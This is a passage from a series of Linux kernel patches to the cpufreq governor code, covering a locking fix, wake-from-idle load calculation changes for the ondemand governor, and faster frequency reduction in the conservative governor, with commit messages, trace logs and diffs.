(sysfs_write_file+0x104/0x184) [] (sysfs_write_file+0x104/0x184) from [] (vfs_write+0xd0/0x19c) [] (vfs_write+0xd0/0x19c) from [] (SyS_write+0x4c/0x78) [] (SyS_write+0x4c/0x78) from [] (ret_fast_syscall+0x0/0x30) Code: e1a00006 eb084346 e59b0020 e5951024 (e5903028) ---[ end trace 0488523c8f6b0f9d ]--- Signed-off-by: Bibek Basu Acked-by: Viresh Kumar Cc: 3.11+ # 3.11+ Signed-off-by: Rafael J. Wysocki Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index edad194933709..3a5a0d21ff7a8 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -452,6 +452,11 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, break; case CPUFREQ_GOV_LIMITS: + mutex_lock(&dbs_data->mutex); + if (!cpu_cdbs->cur_policy) { + mutex_unlock(&dbs_data->mutex); + break; + } mutex_lock(&cpu_cdbs->timer_mutex); if (policy->max < cpu_cdbs->cur_policy->cur) __cpufreq_driver_target(cpu_cdbs->cur_policy, @@ -461,6 +466,7 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, policy->min, CPUFREQ_RELATION_L); dbs_check_cpu(dbs_data, cpu); mutex_unlock(&cpu_cdbs->timer_mutex); + mutex_unlock(&dbs_data->mutex); break; } return 0; From bd6a499854bdea2bd52e1f00cb9147a75bde649b Mon Sep 17 00:00:00 2001 From: "Srivatsa S. Bhat" Date: Sun, 8 Jun 2014 02:11:43 +0530 Subject: [PATCH 281/365] cpufreq: governor: Be friendly towards latency-sensitive bursty workloads Cpufreq governors like the ondemand governor calculate the load on the CPU periodically by employing deferrable timers. A deferrable timer won't fire if the CPU is completely idle (and there are no other timers to be run), in order to avoid unnecessary wakeups and thus save CPU power. However, the load calculation logic is agnostic to all this, and this can lead to the problem described below. Time (ms) CPU 1 100 Task-A running 110 Governor's timer fires, finds load as 100% in the last 10ms interval and increases the CPU frequency. 110.5 Task-A running 120 Governor's timer fires, finds load as 100% in the last 10ms interval and increases the CPU frequency. 125 Task-A went to sleep. With nothing else to do, CPU 1 went completely idle. 200 Task-A woke up and started running again. 200.5 Governor's deferred timer (which was originally programmed to fire at time 130) fires now. It calculates load for the time period 120 to 200.5, and finds the load is almost zero. Hence it decreases the CPU frequency to the minimum. 210 Governor's timer fires, finds load as 100% in the last 10ms interval and increases the CPU frequency. So, after the workload woke up and started running, the frequency was suddenly dropped to absolute minimum, and after that, there was an unnecessary delay of 10ms (sampling period) to increase the CPU frequency back to a reasonable value. And this pattern repeats for every wake-up-from-cpu-idle for that workload. This can be quite undesirable for latency- or response-time sensitive bursty workloads. So we need to fix the governor's logic to detect such wake-up-from- cpu-idle scenarios and start the workload at a reasonably high CPU frequency. One extreme solution would be to fake a load of 100% in such scenarios. But that might lead to undesirable side-effects such as frequency spikes (which might also need voltage changes) especially if the previous frequency happened to be very low. We just want to avoid the stupidity of dropping down the frequency to a minimum and then enduring a needless (and long) delay before ramping it up back again. So, let us simply carry forward the previous load - that is, let us just pretend that the 'load' for the current time-window is the same as the load for the previous window. That way, the frequency and voltage will continue to be set to whatever values they were set at previously. This means that bursty workloads will get a chance to influence the CPU frequency at which they wake up from cpu-idle, based on their past execution history. Thus, they might be able to avoid suffering from slow wakeups and long response-times. However, we should take care not to over-do this. For example, such a "copy previous load" logic will benefit cases like this: (where # represents busy and . represents idle) ##########.........#########.........###########...........##########........ but it will be detrimental in cases like the one shown below, because it will retain the high frequency (copied from the previous interval) even in a mostly idle system: ##########.........#.................#.....................#............... (i.e., the workload finished and the remaining tasks are such that their busy periods are smaller than the sampling interval, which causes the timer to always get deferred. So, this will make the copy-previous-load logic copy the initial high load to subsequent idle periods over and over again, thus keeping the frequency high unnecessarily). So, we modify this copy-previous-load logic such that it is used only once upon every wakeup-from-idle. Thus if we have 2 consecutive idle periods, the previous load won't get blindly copied over; cpufreq will freshly evaluate the load in the second idle interval, thus ensuring that the system comes back to its normal state. [ The right way to solve this whole problem is to teach the CPU frequency governors to also track load on a per-task basis, not just a per-CPU basis, and then use both the data sources intelligently to set the appropriate frequency on the CPUs. But that involves redesigning the cpufreq subsystem, so this patch should make the situation bearable until then. ] Experimental results: +-------------------+ I ran a modified version of ebizzy (called 'sleeping-ebizzy') that sleeps in between its execution such that its total utilization can be a user-defined value, say 10% or 20% (higher the utilization specified, lesser the amount of sleeps injected). This ebizzy was run with a single-thread, tied to CPU 8. Behavior observed with tracing (sample taken from 40% utilization runs): ------------------------------------------------------------------------ Without patch: ~~~~~~~~~~~~~~ kworker/8:2-12137 416.335742: cpu_frequency: state=2061000 cpu_id=8 kworker/8:2-12137 416.335744: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40753 416.345741: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-12137 416.345744: cpu_frequency: state=4123000 cpu_id=8 kworker/8:2-12137 416.345746: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40753 416.355738: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 --------------------------------------------------------------------- <...>-40753 416.402202: sched_switch: prev_comm=ebizzy ==> next_comm=swapper/8 -0 416.502130: sched_switch: prev_comm=swapper/8 ==> next_comm=ebizzy <...>-40753 416.505738: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-12137 416.505739: cpu_frequency: state=2061000 cpu_id=8 kworker/8:2-12137 416.505741: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40753 416.515739: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-12137 416.515742: cpu_frequency: state=4123000 cpu_id=8 kworker/8:2-12137 416.515744: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy Observation: Ebizzy went idle at 416.402202, and started running again at 416.502130. But cpufreq noticed the long idle period, and dropped the frequency at 416.505739, only to increase it back again at 416.515742, realizing that the workload is in-fact CPU bound. Thus ebizzy needlessly ran at the lowest frequency for almost 13 milliseconds (almost 1 full sample period), and this pattern repeats on every sleep-wakeup. This could hurt latency-sensitive workloads quite a lot. With patch: ~~~~~~~~~~~ kworker/8:2-29802 464.832535: cpu_frequency: state=2061000 cpu_id=8 --------------------------------------------------------------------- kworker/8:2-29802 464.962538: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40738 464.972533: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-29802 464.972536: cpu_frequency: state=4123000 cpu_id=8 kworker/8:2-29802 464.972538: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40738 464.982531: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 --------------------------------------------------------------------- kworker/8:2-29802 465.022533: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40738 465.032531: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-29802 465.032532: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40738 465.035797: sched_switch: prev_comm=ebizzy ==> next_comm=swapper/8 -0 465.240178: sched_switch: prev_comm=swapper/8 ==> next_comm=ebizzy <...>-40738 465.242533: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 kworker/8:2-29802 465.242535: sched_switch: prev_comm=kworker/8:2 ==> next_comm=ebizzy <...>-40738 465.252531: sched_switch: prev_comm=ebizzy ==> next_comm=kworker/8:2 Observation: Ebizzy went idle at 465.035797, and started running again at 465.240178. Since ebizzy was the only real workload running on this CPU, cpufreq retained the frequency at 4.1Ghz throughout the run of ebizzy, no matter how many times ebizzy slept and woke-up in-between. Thus, ebizzy got the 10ms worth of 4.1 Ghz benefit during every sleep-wakeup (as compared to the run without the patch) and this boost gave a modest improvement in total throughput, as shown below. Sleeping-ebizzy records-per-second: ----------------------------------- Utilization Without patch With patch Difference (Absolute and % values) 10% 274767 277046 + 2279 (+0.829%) 20% 543429 553484 + 10055 (+1.850%) 40% 1090744 1107959 + 17215 (+1.578%) 60% 1634908 1662018 + 27110 (+1.658%) A rudimentary and somewhat approximately latency-sensitive workload such as sleeping-ebizzy itself showed a consistent, noticeable performance improvement with this patch. Hence, workloads that are truly latency-sensitive will benefit quite a bit from this change. Moreover, this is an overall win-win since this patch does not hurt power-savings at all (because, this patch does not reduce the idle time or idle residency; and the high frequency of the CPU when it goes to cpu-idle does not affect/hurt the power-savings of deep idle states). Signed-off-by: Srivatsa S. Bhat Reviewed-by: Gautham R. Shenoy Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.c | 58 ++++++++++++++++++++++++++++-- drivers/cpufreq/cpufreq_governor.h | 6 ++++ 2 files changed, 61 insertions(+), 3 deletions(-) diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 3a5a0d21ff7a8..335537948fb53 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -40,14 +40,29 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) struct od_dbs_tuners *od_tuners = dbs_data->tuners; struct cs_dbs_tuners *cs_tuners = dbs_data->tuners; struct cpufreq_policy *policy; + unsigned int sampling_rate; unsigned int max_load = 0; unsigned int ignore_nice; unsigned int j; - if (dbs_data->cdata->governor == GOV_ONDEMAND) + if (dbs_data->cdata->governor == GOV_ONDEMAND) { + struct od_cpu_dbs_info_s *od_dbs_info = + dbs_data->cdata->get_cpu_dbs_info_s(cpu); + + /* + * Sometimes, the ondemand governor uses an additional + * multiplier to give long delays. So apply this multiplier to + * the 'sampling_rate', so as to keep the wake-up-from-idle + * detection logic a bit conservative. + */ + sampling_rate = od_tuners->sampling_rate; + sampling_rate *= od_dbs_info->rate_mult; + ignore_nice = od_tuners->ignore_nice_load; - else + } else { + sampling_rate = cs_tuners->sampling_rate; ignore_nice = cs_tuners->ignore_nice_load; + } policy = cdbs->cur_policy; @@ -100,7 +115,36 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) if (unlikely(!wall_time || wall_time < idle_time)) continue; - load = 100 * (wall_time - idle_time) / wall_time; + /* + * If the CPU had gone completely idle, and a task just woke up + * on this CPU now, it would be unfair to calculate 'load' the + * usual way for this elapsed time-window, because it will show + * near-zero load, irrespective of how CPU intensive that task + * actually is. This is undesirable for latency-sensitive bursty + * workloads. + * + * To avoid this, we reuse the 'load' from the previous + * time-window and give this task a chance to start with a + * reasonably high CPU frequency. (However, we shouldn't over-do + * this copy, lest we get stuck at a high load (high frequency) + * for too long, even when the current system load has actually + * dropped down. So we perform the copy only once, upon the + * first wake-up from idle.) + * + * Detecting this situation is easy: the governor's deferrable + * timer would not have fired during CPU-idle periods. Hence + * an unusually large 'wall_time' (as compared to the sampling + * rate) indicates this scenario. + */ + if (unlikely(wall_time > (2 * sampling_rate)) && + j_cdbs->copy_prev_load) { + load = j_cdbs->prev_load; + j_cdbs->copy_prev_load = false; + } else { + load = 100 * (wall_time - idle_time) / wall_time; + j_cdbs->prev_load = load; + j_cdbs->copy_prev_load = true; + } if (load > max_load) max_load = load; @@ -399,11 +443,19 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, for_each_cpu(j, policy->cpus) { struct cpu_dbs_common_info *j_cdbs = dbs_data->cdata->get_cpu_cdbs(j); + unsigned int prev_load; j_cdbs->cpu = j; j_cdbs->cur_policy = policy; j_cdbs->prev_cpu_idle = get_cpu_idle_time(j, &j_cdbs->prev_cpu_wall, io_busy); + + prev_load = (unsigned int) + (j_cdbs->prev_cpu_wall - j_cdbs->prev_cpu_idle); + j_cdbs->prev_load = 100 * prev_load / + (unsigned int) j_cdbs->prev_cpu_wall; + j_cdbs->copy_prev_load = true; + if (ignore_nice) j_cdbs->prev_cpu_nice = kcpustat_cpu(j).cpustat[CPUTIME_NICE]; diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index 5f30dac7b470c..de27e4a8cf6de 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -134,6 +134,12 @@ struct cpu_dbs_common_info { u64 prev_cpu_idle; u64 prev_cpu_wall; u64 prev_cpu_nice; + unsigned int prev_load; + /* + * Flag to ensure that we copy the previous load only once, upon the + * first wake-up from idle. + */ + bool copy_prev_load; struct cpufreq_policy *cur_policy; struct delayed_work work; /* From 7f660ebf254acf69de0b55c1761be47d1c2bfddd Mon Sep 17 00:00:00 2001 From: Viresh Kumar Date: Mon, 9 Jun 2014 14:21:24 +0530 Subject: [PATCH 282/365] cpufreq: governor: remove copy_prev_load from 'struct cpu_dbs_common_info' 'copy_prev_load' was recently added by commit: 18b46ab (cpufreq: governor: Be friendly towards latency-sensitive bursty workloads). It actually is a bit redundant as we also have 'prev_load' which can store any integer value and can be used instead of 'copy_prev_load' by setting it zero. True load can also turn out to be zero during long idle intervals (and hence the actual value of 'prev_load' and the overloaded value can clash). However this is not a problem because, if the true load was really zero in the previous interval, it makes sense to evaluate the load afresh for the current interval rather than copying the previous load. So, drop 'copy_prev_load' and use 'prev_load' instead. Update comments as well to make it more clear. There is another change here which was probably missed by Srivatsa during the last version of updates he made. The unlikely in the 'if' statement was covering only half of the condition and the whole line should actually come under it. Also checkpatch is made more silent as it was reporting this (--strict option): CHECK: Alignment should match open parenthesis + if (unlikely(wall_time > (2 * sampling_rate) && + j_cdbs->prev_load)) { Signed-off-by: Viresh Kumar Reviewed-by: Srivatsa S. Bhat Acked-by: Pavel Machek Signed-off-by: Rafael J. Wysocki Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.c | 19 ++++++++++++++----- drivers/cpufreq/cpufreq_governor.h | 9 +++++---- 2 files changed, 19 insertions(+), 9 deletions(-) diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 335537948fb53..5d06352c56b2c 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -135,15 +135,25 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) * timer would not have fired during CPU-idle periods. Hence * an unusually large 'wall_time' (as compared to the sampling * rate) indicates this scenario. + * + * prev_load can be zero in two cases and we must recalculate it + * for both cases: + * - during long idle intervals + * - explicitly set to zero */ - if (unlikely(wall_time > (2 * sampling_rate)) && - j_cdbs->copy_prev_load) { + if (unlikely(wall_time > (2 * sampling_rate) && + j_cdbs->prev_load)) { load = j_cdbs->prev_load; - j_cdbs->copy_prev_load = false; + + /* + * Perform a destructive copy, to ensure that we copy + * the previous load only once, upon the first wake-up + * from idle. + */ + j_cdbs->prev_load = 0; } else { load = 100 * (wall_time - idle_time) / wall_time; j_cdbs->prev_load = load; - j_cdbs->copy_prev_load = true; } if (load > max_load) @@ -454,7 +464,6 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, (j_cdbs->prev_cpu_wall - j_cdbs->prev_cpu_idle); j_cdbs->prev_load = 100 * prev_load / (unsigned int) j_cdbs->prev_cpu_wall; - j_cdbs->copy_prev_load = true; if (ignore_nice) j_cdbs->prev_cpu_nice = diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index de27e4a8cf6de..d6005b8ce6146 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -134,12 +134,13 @@ struct cpu_dbs_common_info { u64 prev_cpu_idle; u64 prev_cpu_wall; u64 prev_cpu_nice; - unsigned int prev_load; /* - * Flag to ensure that we copy the previous load only once, upon the - * first wake-up from idle. + * Used to keep track of load in the previous interval. However, when + * explicitly set to zero, it is used as a flag to ensure that we copy + * the previous load to the current interval only once, upon the first + * wake-up from idle. */ - bool copy_prev_load; + unsigned int prev_load; struct cpufreq_policy *cur_policy; struct delayed_work work; /* From 5e6fa6dc758911c266400c92683cbde2f7f324d4 Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Mon, 17 Oct 2016 23:38:32 +0300 Subject: [PATCH 283/365] cpufreq: ondemand: Use more accurate calculation when the timer is deferred Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 5d06352c56b2c..5651b07e885bf 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -141,16 +141,24 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) * - during long idle intervals * - explicitly set to zero */ - if (unlikely(wall_time > (2 * sampling_rate) && - j_cdbs->prev_load)) { - load = j_cdbs->prev_load; - + if (unlikely(wall_time > (2 * sampling_rate))) /*&& + j_cdbs->prev_load))*/ { + unsigned int n_load = 100 * (wall_time - idle_time) / wall_time; + unsigned int new_load; + unsigned int busy = wall_time - idle_time; + if (busy > sampling_rate) + new_load = 100; + else + new_load = 100 * busy / sampling_rate; + load = new_load; + pr_debug("Idle cpu: %u, wall_time: %u, prev_load: %u, load: %u, new_load: %u\n", + j, wall_time, j_cdbs->prev_load, n_load, new_load); /* * Perform a destructive copy, to ensure that we copy * the previous load only once, upon the first wake-up * from idle. */ - j_cdbs->prev_load = 0; + j_cdbs->prev_load = load; } else { load = 100 * (wall_time - idle_time) / wall_time; j_cdbs->prev_load = load; From 6f8f75a5423fd628d5c69a60da038eb523131576 Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Wed, 26 Oct 2016 10:48:40 +0300 Subject: [PATCH 284/365] cpufreq: governor: Clean up code after commit ab3fc7fb9cc5 Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.c | 39 +++++------------------------- drivers/cpufreq/cpufreq_governor.h | 1 - 2 files changed, 6 insertions(+), 34 deletions(-) diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 5651b07e885bf..10e2b7ae16c23 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -123,45 +123,24 @@ void dbs_check_cpu(struct dbs_data *dbs_data, int cpu) * actually is. This is undesirable for latency-sensitive bursty * workloads. * - * To avoid this, we reuse the 'load' from the previous - * time-window and give this task a chance to start with a - * reasonably high CPU frequency. (However, we shouldn't over-do - * this copy, lest we get stuck at a high load (high frequency) - * for too long, even when the current system load has actually - * dropped down. So we perform the copy only once, upon the - * first wake-up from idle.) + * To avoid this, we calculate 'load' only on the last + * sampling period. * * Detecting this situation is easy: the governor's deferrable * timer would not have fired during CPU-idle periods. Hence * an unusually large 'wall_time' (as compared to the sampling * rate) indicates this scenario. * - * prev_load can be zero in two cases and we must recalculate it - * for both cases: - * - during long idle intervals - * - explicitly set to zero */ - if (unlikely(wall_time > (2 * sampling_rate))) /*&& - j_cdbs->prev_load))*/ { - unsigned int n_load = 100 * (wall_time - idle_time) / wall_time; - unsigned int new_load; + if (unlikely(wall_time > (2 * sampling_rate))) { unsigned int busy = wall_time - idle_time; + if (busy > sampling_rate) - new_load = 100; + load = 100; else - new_load = 100 * busy / sampling_rate; - load = new_load; - pr_debug("Idle cpu: %u, wall_time: %u, prev_load: %u, load: %u, new_load: %u\n", - j, wall_time, j_cdbs->prev_load, n_load, new_load); - /* - * Perform a destructive copy, to ensure that we copy - * the previous load only once, upon the first wake-up - * from idle. - */ - j_cdbs->prev_load = load; + load = 100 * busy / sampling_rate; } else { load = 100 * (wall_time - idle_time) / wall_time; - j_cdbs->prev_load = load; } if (load > max_load) @@ -461,18 +440,12 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, for_each_cpu(j, policy->cpus) { struct cpu_dbs_common_info *j_cdbs = dbs_data->cdata->get_cpu_cdbs(j); - unsigned int prev_load; j_cdbs->cpu = j; j_cdbs->cur_policy = policy; j_cdbs->prev_cpu_idle = get_cpu_idle_time(j, &j_cdbs->prev_cpu_wall, io_busy); - prev_load = (unsigned int) - (j_cdbs->prev_cpu_wall - j_cdbs->prev_cpu_idle); - j_cdbs->prev_load = 100 * prev_load / - (unsigned int) j_cdbs->prev_cpu_wall; - if (ignore_nice) j_cdbs->prev_cpu_nice = kcpustat_cpu(j).cpustat[CPUTIME_NICE]; diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index d6005b8ce6146..ba4be66baecb5 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -140,7 +140,6 @@ struct cpu_dbs_common_info { * the previous load to the current interval only once, upon the first * wake-up from idle. */ - unsigned int prev_load; struct cpufreq_policy *cur_policy; struct delayed_work work; /* From e7a409de60c8c226a6e7c8a93fc0aebbd982c9f5 Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Wed, 26 Oct 2016 10:54:04 +0300 Subject: [PATCH 285/365] cpufreq: governor: Remove unused comments Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_governor.h | 6 ------ 1 file changed, 6 deletions(-) diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index ba4be66baecb5..5f30dac7b470c 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -134,12 +134,6 @@ struct cpu_dbs_common_info { u64 prev_cpu_idle; u64 prev_cpu_wall; u64 prev_cpu_nice; - /* - * Used to keep track of load in the previous interval. However, when - * explicitly set to zero, it is used as a flag to ensure that we copy - * the previous load to the current interval only once, upon the first - * wake-up from idle. - */ struct cpufreq_policy *cur_policy; struct delayed_work work; /* From 4b37ac2189efd5f2b213b1b19473d668b39b802e Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Wed, 26 Oct 2016 13:26:21 +0300 Subject: [PATCH 286/365] cpufreq: conservative: Decrease frequency faster when the timer deferred Conservative governor changes the CPU frequency in steps. That means that if a CPU runs at max frequency, it will need several sampling periods to return at min frequency when the workload is finished. If the timer that calculates the load and target frequency is deferred, the governor might need even more time to decrease the frequency. This may have impact to power consumption and after all conservative should decrease the frequency if there is no workload every sampling rate. To resolve the above issue calculate the number of sampling periods that the timer deferred. Considering that for each sampling period conservative should drop the frequency by a freq_step because the CPU was idle apply the proper subtraction to requested frequency. Below, the kernel trace with and without this patch. First an intensive workload is applied on a specific CPU. Then the workload is removed and the CPU goes to idle. WITHOUT ------- -0 [007] dN.. 620.329153: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 620.350857: cpu_frequency: state=1700000 cpu_id=7 kworker/7:2-556 [007] .... 620.370856: cpu_frequency: state=1900000 cpu_id=7 kworker/7:2-556 [007] .... 620.390854: cpu_frequency: state=2100000 cpu_id=7 kworker/7:2-556 [007] .... 620.411853: cpu_frequency: state=2200000 cpu_id=7 kworker/7:2-556 [007] .... 620.432854: cpu_frequency: state=2400000 cpu_id=7 kworker/7:2-556 [007] .... 620.453854: cpu_frequency: state=2600000 cpu_id=7 kworker/7:2-556 [007] .... 620.494856: cpu_frequency: state=2900000 cpu_id=7 kworker/7:2-556 [007] .... 620.515856: cpu_frequency: state=3100000 cpu_id=7 kworker/7:2-556 [007] .... 620.536858: cpu_frequency: state=3300000 cpu_id=7 kworker/7:2-556 [007] .... 620.557857: cpu_frequency: state=3401000 cpu_id=7 -0 [007] d... 669.591363: cpu_idle: state=4 cpu_id=7 -0 [007] d... 669.591939: cpu_idle: state=4294967295 cpu_id=7 -0 [007] d... 669.591980: cpu_idle: state=4 cpu_id=7 -0 [007] dN.. 669.591989: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 670.201224: cpu_idle: state=4 cpu_id=7 -0 [007] d... 670.221975: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 670.222016: cpu_frequency: state=3300000 cpu_id=7 -0 [007] d... 670.222026: cpu_idle: state=4 cpu_id=7 -0 [007] d... 670.234964: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 670.801251: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.236046: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 671.236073: cpu_frequency: state=3100000 cpu_id=7 -0 [007] d... 671.236112: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.393437: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 671.401277: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.404083: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 671.404111: cpu_frequency: state=2900000 cpu_id=7 -0 [007] d... 671.404125: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.404974: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 671.501180: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.995414: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 671.995459: cpu_frequency: state=2800000 cpu_id=7 -0 [007] d... 671.995469: cpu_idle: state=4 cpu_id=7 -0 [007] d... 671.996287: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 672.001305: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.078374: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 672.078410: cpu_frequency: state=2600000 cpu_id=7 -0 [007] d... 672.078419: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.158020: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 672.158040: cpu_frequency: state=2400000 cpu_id=7 -0 [007] d... 672.158044: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.160038: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 672.234557: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.237121: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 672.237174: cpu_frequency: state=2100000 cpu_id=7 -0 [007] d... 672.237186: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.237778: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 672.267902: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.269860: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 672.269906: cpu_frequency: state=1900000 cpu_id=7 -0 [007] d... 672.269914: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.271902: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 672.751342: cpu_idle: state=4 cpu_id=7 -0 [007] d... 672.823056: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-556 [007] .... 672.823095: cpu_frequency: state=1600000 cpu_id=7 WITH ---- -0 [007] dN.. 4380.928009: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-399 [007] .... 4380.949767: cpu_frequency: state=2000000 cpu_id=7 kworker/7:2-399 [007] .... 4380.969765: cpu_frequency: state=2200000 cpu_id=7 kworker/7:2-399 [007] .... 4381.009766: cpu_frequency: state=2500000 cpu_id=7 kworker/7:2-399 [007] .... 4381.029767: cpu_frequency: state=2600000 cpu_id=7 kworker/7:2-399 [007] .... 4381.049769: cpu_frequency: state=2800000 cpu_id=7 kworker/7:2-399 [007] .... 4381.069769: cpu_frequency: state=3000000 cpu_id=7 kworker/7:2-399 [007] .... 4381.089771: cpu_frequency: state=3100000 cpu_id=7 kworker/7:2-399 [007] .... 4381.109772: cpu_frequency: state=3400000 cpu_id=7 kworker/7:2-399 [007] .... 4381.129773: cpu_frequency: state=3401000 cpu_id=7 -0 [007] d... 4428.226159: cpu_idle: state=1 cpu_id=7 -0 [007] d... 4428.226176: cpu_idle: state=4294967295 cpu_id=7 -0 [007] d... 4428.226181: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4428.227177: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 4428.551640: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4428.649239: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-399 [007] .... 4428.649268: cpu_frequency: state=2800000 cpu_id=7 -0 [007] d... 4428.649278: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4428.689856: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 4428.799542: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4428.801683: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-399 [007] .... 4428.801748: cpu_frequency: state=1700000 cpu_id=7 -0 [007] d... 4428.801761: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4428.806545: cpu_idle: state=4294967295 cpu_id=7 ... -0 [007] d... 4429.051880: cpu_idle: state=4 cpu_id=7 -0 [007] d... 4429.086240: cpu_idle: state=4294967295 cpu_id=7 kworker/7:2-399 [007] .... 4429.086293: cpu_frequency: state=1600000 cpu_id=7 Without the patch the CPU dropped to min frequency after 3.2s With the patch applied the CPU dropped to min frequency after 0.86s Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_conservative.c | 10 ++++++++++ drivers/cpufreq/cpufreq_governor.c | 7 ++++++- drivers/cpufreq/cpufreq_governor.h | 1 + 3 files changed, 17 insertions(+), 1 deletion(-) diff --git a/drivers/cpufreq/cpufreq_conservative.c b/drivers/cpufreq/cpufreq_conservative.c index 20f19a8f244db..7c24f9e852e0a 100644 --- a/drivers/cpufreq/cpufreq_conservative.c +++ 